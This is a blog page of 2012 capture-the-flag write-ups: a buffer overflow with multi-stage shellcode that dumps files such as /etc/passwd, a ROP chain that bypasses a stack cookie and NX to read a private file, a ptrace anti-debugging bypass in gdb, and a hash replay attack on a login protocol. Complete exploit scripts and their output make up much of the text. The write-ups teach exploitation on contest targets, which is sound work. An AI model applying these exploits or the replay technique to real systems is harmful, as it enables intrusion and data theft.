codezen.fr code hacking, zen coding

26Mar/12Off

NDH 2012 Prequals – Sciteek 4004 Write-up – Multistage file reader

Posted by aXs

The daemon on port 4004 is a fairly simple daemon that check for a password (hard-coded in the binary) and just says "You are authenticated".

What's interesting is that this daemon is running on the same server that many other challenges so we used it to fetch files and solve the URL Shortener challenge more easily by retrieving its Python source.

We have limited space for the shellcode, only 100 bytes. While you can totally read files in a 100 bytes shellcode if you don't care about error checking, I wanted something cleaner (that's the excuse for spending time to do a multi-stage exploit loader)

This exploit will:
- overflow the buffer (size is 0x100)
- Inject stage 1 loader
- Read Stage 2 from stdin
- Execute Stage 2
- Read filename to dump from stdin
- Open file with error checking
- Dump the file using a read/write loop, so you can dump file bigger than the memory
- Exit

#!/usr/bin/env python

import socket
import sys
import time
from struct import pack

if len(sys.argv) != 4:
  print '\nUsage:\t./sciteek4004.py [host] [port] [filename]'
  sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

data = s.recv(65536)
print 'Received', repr(data)

''' Stage 2 '''
''' Read filename from stdin, output to stdout '''

sc  = "\x04\x02\x01\x00\x00"  # movl r1, 0x0
sc += "\x04\x02\x00\x03\x00"  # movl r0, 0x3
sc += "\x04\x02\x02\x94\x7a"  # movl r2, 0x7b94
sc += "\x04\x02\x03\x32\x00"  # movl r3, 0x32
sc += "\x30"      # syscall (read)

sc += "\x04\x02\x00\x02\x00"  # movl r0, 0x2
sc += "\x04\x02\x01\x94\x7a"  # movl r1, 0x7b94
sc += "\x04\x02\x02\x00\x00"  # movl r2, 0x0
sc += "\x04\x00\x03\x02"  # movl r3, r2
sc += "\x30"      # syscall (open)

sc += "\x18\x02\x00\xff\xff"  # cmpl r0, 0xffff
sc += "\x10\x39\x00"    # jz +57

sc += "\x04\x00\x07\x00"  # mov r7, r0

sc += "\x04\x00\x01\x00"  # movl r1, r0
sc += "\x04\x02\x00\x03\x00"  # movl r0, 0x3
sc += "\x04\x02\x02\x00\x10"  # movl r2, 0x1000
sc += "\x04\x02\x03\xff\x00"  # movl r3, 0x32
sc += "\x30"      # syscall (read)

sc += "\x18\x01\x00\x00"  # cmpl r0, 0x0
sc += "\x10\x1a\x00"    # jz +26

sc += "\x04\x00\x03\x00"  # movl r3, r0
sc += "\x04\x02\x00\x04\x00"  # movl r0, 0x4
sc += "\x04\x02\x01\x01\x00"  # movl r1, 0x1
sc += "\x04\x02\x02\x00\x10"  # movl r2, 0x1000
sc += "\x30"      # syscall (write)

sc += "\x04\x00\x00\x07"  # mov r0, r7

sc += "\x16\xc7"    # jmps -47

sc += "\x04\x02\x00\x01\x00"  # movl r0, 0x1
sc += "\x30"      # syscall (exit)

''' Stage 1 Loader '''

loader  = "\x04\x02\x01\x00\x00"  # movl r1, 0x0
loader += "\x04\x02\x00\x03\x00"  # movl r0, 0x3
loader += "\x04\x02\x02\x00\x60"  # movl r2, 0x6000
loader += "\x04\x02\x03"    # movl r3, 0x32
loader += pack("<H", len(sc))   #   -continued
loader += "\x30"      # syscall (read)
loader += "\x04\x02\x00\x00\x60"  # movl r2, 0x6000
loader += "\x19\x03\x00"    # call *r0

if len(loader) > 100:
  print "\nShellcode too long: ", len(loader), "\n"
  sys.exit(1)

print "Shellcode size: ", len(loader), "\n"

payload = '\x02' * (100 - len(loader)) # Nopsled

print "Nopsled size: ", len(payload), "\n"

payload += loader

payload += "\x94\x7f" # To Nopsled

print "Payload size: ", len(payload), "\n"

# Send Stage 1 Loader

s.send('%s' %payload);

time.sleep(2)

# Send Stage 2

s.send('%s' %sc);

time.sleep(2)

# Send filename to download

s.send('%s' %sys.argv[3] + "\x00\n");

while 1:
    line = s.recv(65536)
    if not line:
        break
    print line

s.close()

Result:

$ python sciteek4004.py sciteek.nuitduhack.com 4004 "/etc/passwd"
Received 'Password (required): '
Shellcode size: 29

Nopsled size: 71

Payload size: 102

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spo
ol/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin

Share
26Mar/12Off

NDH 2012 Prequals – Sciteek 4005 Web3 Write-up

Posted by aXs

This challenge runs under the NDH VM written specially for this CTF by Jonathan Salwan.

We are told to exploit a web server running at sciteek.nuitduhack.com:4005 to get a file named sciteek-private.txt.

We get a copy of the web server software in the file Web3.ndh which is running in the NDH VM.

$ nc sciteek.nuitduhack.com 4005
GET /
HTTP/1.0 200 OK
Content-Type : text/HTML
Content-Length : 70

Exploit Me if you can 😉

We try to overflow it:

$ nc localhost 4005
GET Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar
$

We are immediately disconnected. We need to dig in disassembly to understand why.

0x81e8 > syscall (r0 = 0x0003 - read)
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar
[SYSCALL output]: 513
0x81e9 > ret
0x84d8 > mov r0, r1
0x84dc > addl r8, #0x200
0x84e1 > pop r1
0x84e3 > cmpl r1, #0xbeef
0x84e8 > jz 0x01
0x84eb > end

This program uses a hard-coded stack cookie with a value of 0xbeef. If we overflows the buffer (max size 0x200), we will overwrite the cookie and the protection will get triggered.

So we need to send the value of the cookie in your exploit payload:

$ python -c 'print "A"*512+"\xEF\xBEAB"' | nc localhost 4005
[!] Segfault 0x4241 (opcode unknown)

We control the PC register.

Now we need to get the address of our buffer. We add a breakpoint just after the read() syscall.

0x81e4: movb r0, #0x03
0x81e8: syscall

[Console]#> bp 0x81e8
Breakpoint set in 0x81e8
...
0x81e4 > movb r0, #3
[BreakPoint 1 - 0x81e8]
0x81e8 > syscall (r0 = 0x0003 - read)
GET /
[SYSCALL output]: 6
[Console]#> show sp
7bf2: d8 84 47 45 54 20 2f 0a 00 00 <- GET /

The beginning of our buffer is at 0x7bf4.

$ python -c 'print "A"*512+"\xEF\xBE\xf4\x7b"' | nc localhost 4005
[!] Segfault 0x7bf4 (NX bit)

Unfortunately NX bit is enabled in this challenge. Against NX protection we need to use ROP.

There is many nice gadgets in the binary. What we need to find is:

- read filename from stdin
- open file with filename in memory
- read file content to memory
- write memory to stdout

generic registers setter

0x8225: pop r5
0x8227: pop r4
0x8229: pop r3
0x822b: pop r2
0x822d: pop r1
0x822f: ret

syscall open()

int open(const char *pathname, int flags, mode_t mode);

* [sys_open] r1 = uint16_t *
* r2 = uint16_t
* r3 = uint16_t

0x81d2: movb r0, #0x02
0x81d6: syscall

syscall read()

ssize_t read(int fd, void *buf, size_t count);

* [sys_read] r1 = uint16_t
* r2 = uint16_t *
* r3 = uint16_t

0x81e0: mov r1, r0
0x81e4: movb r0, #0x03
0x81e8: syscall

syscall write()

ssize_t write(int fd, const void *buf, size_t count);

* [sys_write] r1 = uint16_t
* r2 = uint16_t *
* r3 = uint16_t

0x8193: movb r0, #0x04
0x8197: syscall

We can then construct this ROP chain exploit:

#!/usr/bin/env python

import socket
import sys
from struct import pack

if len(sys.argv) != 3:
  print '\nUsage:\t./sciteek4005.py [host] [port]'
  sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])

payload = 'sciteek-private.txt\x00\n'

payload += 'A' * (512 - len(payload))

payload += pack("<H", 0xbeef) # stack cookie

payload += pack("<H", 0x8229) # pop r3 / pop r2 / pop r1 / ret
payload += pack("<H", 0x0000) # r3 = O_RDONLY
payload += pack("<H", 0x0000) # r2
payload += pack("<H", 0x7bf4) # start of our buffer

payload += pack("<H", 0x81d2) # open, FD will go in r0

payload += pack("<H", 0x8229) # pop r3 / pop r2 / pop r1 / ret
payload += pack("<H", 0x1000) # r3 = count
payload += pack("<H", 0x6000) # r2 = buffer
payload += pack("<H", 0x0000) # dummy

payload += pack("<H", 0x81e0) # mov r1, r0 / read(), r0 contains the count of bytes read

payload += pack("<H", 0x822d) # pop r1 / ret
payload += pack("<H", 0x6000) # r1 = buffer

payload += pack("<H", 0x8187) # mov r3, r0 / mov r2, r1 / movb r1, #0x01 / write()

payload += '\n'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.send('%s' %payload);

while 1:
    line = s.recv(65536)
    if not line:
        break
    print 'Received', repr(line)

s.close()

Result:

$ python sciteek4005.py sciteek.nuitduhack.com 4005
Received 'Dear Patrick,\n \nWe found many evidences proving there is a mole inside our company who is selling confidential materials to our main competitor, Megacortek. We have very good reasons to believe that Walter Smith have sent some emails to a contact at Megacortek, containing confidential information.\n \nHowever, these emails seems to have been encrypted and sometimes contain images or audio files which are apparently not related with our company or our business\n, but one of them contains an archive with an explicit name.\n \nWe cannot stand this situation anymore, and we should take actions to make Mr Smith leave the company: we can fire this guy or why not call the FBI to handle this case as it should be.\n \nSincerely,\n \nDavid Markham.\n'
Received '\x1b[91m[!] Segfault 0x0000 (NX bit)\x1b[0m\n'

Share
Tagged as: , , , Comments Off
4Mar/12Off

Insomni’hack 2012 reverse_me.bin Write-up

Posted by aXs

We have a binary

$ file reverse_me.bin
reverse_me.bin.back: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size

$ readelf -l reverse_me.bin

Elf file type is EXEC (Executable file)
Entry point 0x8048054
There are 1 program headers, starting at offset 52

Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
LOAD 0x000000 0x08048000 0x08048000 0x00344 0x00344 RWE 0x1000

$ ./reverse_me.bin
Get the flag

Yeah, let's get the flag...

$ strace ./reverse_me.bin
execve("./reverse_me.bin", ["./reverse_me.bin"], [/* 17 vars */]) = 0
ptrace(PTRACE_TRACEME, 0, 0, 0) = -1 EPERM (Operation not permitted)
write(1, "no gdb down there buddy...\n", 27no gdb down there buddy...
) = 27
_exit(0) = ?

The ELF header has been heavily modified and we have a hard time setting a breakpoint on the Entry Point... some code is run before at start that detect gdb (ptrace) and exits..

$ gdb reverse_me.bin
gdb$ break *0x8048054
Breakpoint 1 at 0x8048054
gdb$ run
no gdb down there buddy...

Program exited normally.

Catching to the rescue.. ptrace is a function but also, ultimately, a syscall

gdb$ catch syscall
Catchpoint 1 (any syscall)
gdb$ run
--------------------------------------------------------------------------[regs]
EAX: 0xFFFFFFDA EBX: 0x00000000 ECX: 0x00000000 EDX: 0x00000000 o d I t s Z a P c
ESI: 0x00000000 EDI: 0xBFFFF80C EBP: 0x0AE8DB34 ESP: 0xBFFFF80C EIP: 0x08048187
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0000 SS: 007B
--------------------------------------------------------------------------[code]
0x8048187: cmp eax,0x0
0x804818a: jne 0x80481fb
0x804818c: push 0x4
0x804818e: pop eax
0x804818f: cdq
0x8048190: xor ebx,ebx
0x8048192: inc ebx
0x8048193: push 0xa
--------------------------------------------------------------------------------

Catchpoint 1 (call to syscall 'ptrace'), 0x08048187 in ?? ()
gdb$ conti
--------------------------------------------------------------------------[regs]
EAX: 0xFFFFFFFF EBX: 0x00000000 ECX: 0x00000000 EDX: 0x00000000 o d I t s Z a P c
ESI: 0x00000000 EDI: 0xBFFFF80C EBP: 0x0AE8DB34 ESP: 0xBFFFF80C EIP: 0x08048187
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0000 SS: 007B
--------------------------------------------------------------------------[code]
0x8048187: cmp eax,0x0
0x804818a: jne 0x80481fb
0x804818c: push 0x4
0x804818e: pop eax
0x804818f: cdq
0x8048190: xor ebx,ebx
0x8048192: inc ebx
0x8048193: push 0xa
--------------------------------------------------------------------------------

Catchpoint 1 (returned from syscall 'ptrace'), 0x08048187 in ?? ()

There we have a check for eax, normally ptrace would return 0 but it's 0xFFFFFFFF since gdb is already active. Let's change it to 0 and continue.

gdb$ set $eax = 0
gdb$ conti
Catchpoint 1 (call to syscall 'write'), 0x080481ac in ?? ()
gdb$ conti
Get the flag

Catchpoint 1 (returned from syscall 'write'), 0x080481ac in ?? ()
$ conti

Execution seems to be in a infinite loop there. Break it...

^C
Program received signal SIGINT, Interrupt.
--------------------------------------------------------------------------[regs]
EAX: 0x00000040 EBX: 0x00000001 ECX: 0xBFFFF7FC EDX: 0x0000000D o d I t s z a p c
ESI: 0x00000000 EDI: 0xBFFFF80C EBP: 0x0AE8DB34 ESP: 0xBFFFF7F8 EIP: 0x080481AC
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0000 SS: 007B
--------------------------------------------------------------------------[code]
0x80481ac: xor eax,eax
0x80481ae: push 0x41
0x80481b0: pop eax
0x80481b1: shr eax,1
0x80481b3: shl eax,1
0x80481b5: jmp 0x80481ac
0x80481b7: push 0x4
0x80481b9: pop eax
--------------------------------------------------------------------------------
0x080481ac in ?? ()

Infinite loop with the unconditional jump. We try to set EIP just after the jmp (bit of guessing)

gdb$ set $pc = 0x80481b7
gdb$ conti
Catchpoint 1 (call to syscall 'write'), 0x080481d0 in ?? ()
gdb$ conti
flag:
Catchpoint 1 (returned from syscall 'write'), 0x080481d0 in ?? ()
gdb$ conti
Catchpoint 1 (call to syscall 'write'), 0x080481fb in ?? ()
gdb$ conti
tcatch_syscall_always_win

Catchpoint 1 (returned from syscall 'write'), 0x080481fb in ?? ()

flag: tcatch_syscall_always_win

I couldn't agree more.

Another way to solve this is using IDA and the x86emu plugin. It's much longer because you will need to go over the multiple decryption loops before finally arriving at the ptrace syscall and the check, but it's interesting by itself as an introduction to x86emu plugin.

Share
Tagged as: , Comments Off
4Mar/12Off

Insomni’hack 2012 Network PCAP Write-ups

Posted by aXs

In this challenge we 2 files: 1 PCAP, 1 Python

The PCAP file contains a dialog between a client and server that goes like this:

> = client to server
< = server to client > 8e67bb26b358e2ed20fe552ed6fb832f397a507d:3daf723376f823eceeb314c8fa60e47b1ba23633
< 5f367ff47fff772986cca54219fa167175353dc7 > 78be5fe51f264a4067463bad57022348
< 3290452b9a9f6d18523347dd1daa54a1e09195a7 > 94817a6b1d833e1ffb4fcb2aa7dd14143dc5759e>_<8b060ba4b309e73abd079d8f0128056c07b78cad < Bienvenue, superuser. Le lieu du rendez-vous n'est pas encore defini. The original Python file goes like this:

#!/usr/bin/python2

import SocketServer
import socket, sys, hashlib, random


if __name__ == "__main__":
    HOST, PORT = sys.argv[1], 9999
    USER = raw_input("Utilisateur : ").strip()
    PASS = raw_input("Mot de passe : ").strip()
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((HOST, PORT))

    try:    
        data = hashlib.sha1(USER).hexdigest()+":"+hashlib.sha1(hashlib.md5(hashlib.sha1(PASS).hexdigest()+hashlib.sha1(PASS).hexdigest()+hashlib.md5(USER).hexdigest()).hexdigest()).hexdigest()
        sock.sendall(data + "\n")

        challenge = sock.recv(41).strip()
        sock.sendall(hashlib.md5(hashlib.sha1(PASS).hexdigest()+"SuperSalt"+hashlib.md5(USER+challenge).hexdigest()).hexdigest() + "\n")

        challenge = sock.recv(41).strip()
        sock.sendall(hashlib.sha1(PASS).hexdigest()+">_<"+hashlib.sha1(challenge+hashlib.md5(USER).hexdigest()).hexdigest() + "\n")
        print sock.recv(1024)
    except:
        print sock.recv(1024)

    sock.close()

We need to get updated information on the meeting location so we need to do a replay attack on this service.

We are going to map the network stream to the python code:

Handshake

> 8e67bb26b358e2ed20fe552ed6fb832f397a507d:3daf723376f823eceeb314c8fa60e47b1ba23633

sha1(user) : sha1(sha1(pass)+sha1(pass)+md5(user))

Challenge 1:

< 5f367ff47fff772986cca54219fa167175353dc7 > 78be5fe51f264a4067463bad57022348

md5(sha1(pass)+"SuperSalt"+md5(user+challenge))

Challenge 2:

< 3290452b9a9f6d18523347dd1daa54a1e09195a7 > 94817a6b1d833e1ffb4fcb2aa7dd14143dc5759e>_<8b060ba4b309e73abd079d8f0128056c07b78cad sha1(pass)+">_<"+sha1(challenge+md5(user)) We can deduce: sha1(user) = 8e67bb26b358e2ed20fe552ed6fb832f397a507d sha1(pass) = 94817a6b1d833e1ffb4fcb2aa7dd14143dc5759e Google bruteforcing sha1(user) gives "superuser", which match the plain text welcome message "Bienvenue, superuser". We can also Google bruteforce the challenges but that's useless. user = "superuser" challenge1 = "4283399" challenge2 = "3593819" So we know USER, now we need PASS. But we only have sha1(pass) and it cannot be Google bruteforced. But do we really need to know PASS ? If you look closely in the code above, you will see we only use the sha1 of PASS, never anything else. Since we know USER, we can carry a replay attack. We remove all reference to PASS and put directly the sha1(pass) string.

#!/usr/bin/python2

import SocketServer
import socket, sys, hashlib, random


if __name__ == "__main__":
    HOST, PORT = "10.13.37.12", 9999
    USER = "superuser"
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((HOST, PORT))

    try:    
        sock.sendall("8e67bb26b358e2ed20fe552ed6fb832f397a507d:3daf723376f823eceeb314c8fa60e47b1ba23633" + "\n")

        challenge = sock.recv(41).strip()
        sock.sendall(hashlib.md5("94817a6b1d833e1ffb4fcb2aa7dd14143dc5759eSuperSalt"+hashlib.md5(USER+challenge).hexdigest()).hexdigest() + "\n")

        challenge = sock.recv(41).strip()
        sock.sendall("94817a6b1d833e1ffb4fcb2aa7dd14143dc5759e>_<"+hashlib.sha1(challenge+hashlib.md5(USER).hexdigest()).hexdigest() + "\n")
        print sock.recv(1024)
    except:
        print sock.recv(1024)

    sock.close()

All done.

Share